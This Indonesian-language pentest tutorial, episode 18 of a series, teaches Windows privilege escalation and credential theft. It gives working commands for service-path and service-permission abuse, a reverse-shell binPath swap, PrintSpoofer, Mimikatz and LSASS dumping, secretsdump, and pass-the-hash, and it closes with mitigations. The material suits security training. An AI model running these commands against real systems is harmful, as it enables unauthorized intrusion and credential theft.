Menguasai privilege escalation Windows dan serangan kredensial: unquoted service paths, weak service permissions, token impersonation, UAC bypass, dan SeImpersonate, lalu ekstraksi kredensial dengan Mimikatz dan secretsdump dari LSASS serta dasar pass-the-hash untuk bergerak tanpa mengetahui password

Setelah di episode 17 kita menjadi root di Linux, sekarang giliran Windows. Konsepnya mirip — "dari user biasa ke Administrator/System" — tapi mekanismenya sangat berbeda: service, registry, tokens, dan UAC adalah dunia tersendiri. Yang juga unik di Windows: kredensial adalah target utama, bukan hanya akses.
Mengapa episode ini penting? Jaringan korporasi didominasi Windows. Saat pentest internal mencapai foothold di satu workstation, hampir selalu yang dicari berikutnya adalah kredensial admin domain dan jalan ke Active Directory (episode 19). Episode ini mengajarkan dua keterampilan inti: naik privilege dan mencuri/memakai kredensial dengan benar.
Mulai dengan memetakan sistem: user, group, service, patch, dan path yang bisa ditulis:
whoami /priv
whoami /groups
net user
net localgroup administrators
systeminfoWinPEAS mengotomasi enumerasi ini di Windows (mirip LinPEAS):
.\winPEASx64.exe fastWindows mengeksekusi service berdasarkan path di registry. Jika path tidak diapit tanda kutip dan mengandung spasi, Windows mencoba interpretasi alternatif:
C:\Program Files\My App\service.exeWindows akan mencoba: C:\Program.exe, C:\Program Files\My.exe, lalu C:\Program Files\My App\service.exe. Jika kita bisa menulis di C:\Program Files\, kita taruh executable bernama My.exe — service berikutnya akan menjalankannya sebagai SYSTEM. Temukan service dengan path unquoted:
wmic service get name,pathname | findstr /i "Program Files"Service yang bisa dimodifikasi user biasa. Cek permission service dengan accesschk:
accesschk.exe /accepteula -uwcqv "Authenticated Users" *Jika user punya akses SERVICE_CHANGE_CONFIG, ubah binPath service menjadi executable kita:
sc config vulnSvc binPath= "C:\temp\reverse.exe"
sc start vulnSvcService dijalankan sebagai SYSTEM — begitu service dimulai, kita jadi SYSTEM.
Tokens membawa identitas & privilege proses. Jika user kita punya privilege SeImpersonatePrivilege (umumnya dimiliki service account), kita bisa meng-impersonasi token user lain — termasuk SYSTEM — memakai tool seperti Potato (JuicyPotato, PrintSpoofer):
whoami /priv.\PrintSpoofer64.exe -i -c cmdUAC (User Account Control) membatasi hak admin. Bypass UAC biasanya melibatkan memanfaatkan komponen tepercaya yang auto-elevate atau manipulasi registry HKCU\Software\Classes\ms-settings. Tool seperti UACME mengkatalog berbagai teknik. Perlu dicatat: dengan UAC level maksimum, beberapa teknik tidak berhasil.
Note
Urutan yang baik saat privesc Windows: (1) cek whoami /priv — SeImpersonate/SeAssignPrimaryToken langsung memberi jalur Potato; (2) cari service yang bisa dimodifikasi; (3) cek unquoted paths; (4) baru UAC bypass/kernel exploit. Sering kali langkah pertama sudah cukup.
Mimikatz mengekstrak kredensial dari memori Windows. Serangan utamanya sekurlsa::logonpasswords, yang membaca credential di area memori LSASS:
privilege::debug
sekurlsa::logonpasswordsOutput menampilkan password plaintext/NTLM hash dari sesi login yang aktif. Mimikatz membutuhkan privilege tinggi (debug + admin) — hasilnya, kredensial admin domain yang sedang login di mesin ini langsung ketahuan.
secretsdump (dari impacket) menarik hash dari SAM (akun lokal) dan NTDS.dit (akun domain) tanpa perlu berinteraksi dengan proses memori:
secretsdump.py -sam SAM -system SYSTEM localAlternatif: dump file lsass.dmp lalu proses dengan mimikatz lsadump::sam/sekurlsa::minidump:
procdump.exe -ma lsass.exe lsass.dmpWindows otentikasi NTLM memakai hash, bukan password. Dengan hash saja, penyerang bisa login ke service lain — tanpa pernah tahu passwordnya. Ini pass-the-hash:
psexec.py -hashes :NTLM_HASH domain/user@target.comcrackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH --local-authPass-the-hash bekerja lintas mesin selama user punya hak di target — dasar dari lateral movement di episode 19.
Warning
Mimikatz, secretsdump, dan pass-the-hash adalah senjata yang sangat kuat dan sangat dilacak oleh antivirus/EDR. Di lab, matikan atau izinkan saja; di engagement nyata, kalian harus paham cara menghindari deteksi (konsep yang sah dipelajari di episode 22 defense evasion). Jangan pernah mengeksekusi di sistem tanpa izin.
| Serangan | Mitigasi |
|---|---|
| Unquoted service path | Selalu kutip path service; validasi permission folder Program Files |
| Weak service permission | Batasi ACL service; prinsip least privilege |
| SeImpersonate | Jangan jalankan service sebagai user dengan SeImpersonate; gunakan service account khusus |
| Mimikatz/LSASS dump | Credential Guard, LSA Protection (RunAsPPL), hapus kebiasaan login sebagai admin |
| Pass-the-hash | Local Account Password Filter (block LM/NTLM hash reuse), enable kerberos-only, monitoring |
Pada episode 18 ini, kalian telah menguasai privilege escalation dan serangan kredensial di Windows.
Inti yang harus dibawa pulang:
whoami /priv, service yang bisa dimodifikasi, unquoted paths.Di episode 19 selanjutnya kita membahas Active Directory attacks — Kerberos, LDAP, NTLM, SMB, dan struktur domain, dengan BloodHound/SharpHound, AS-REP Roasting, Kerberoasting, pass-the-hash, golden/silver ticket, dan lateral movement via PsExec/WinRM/RDP. Sampai jumpa di episode 19!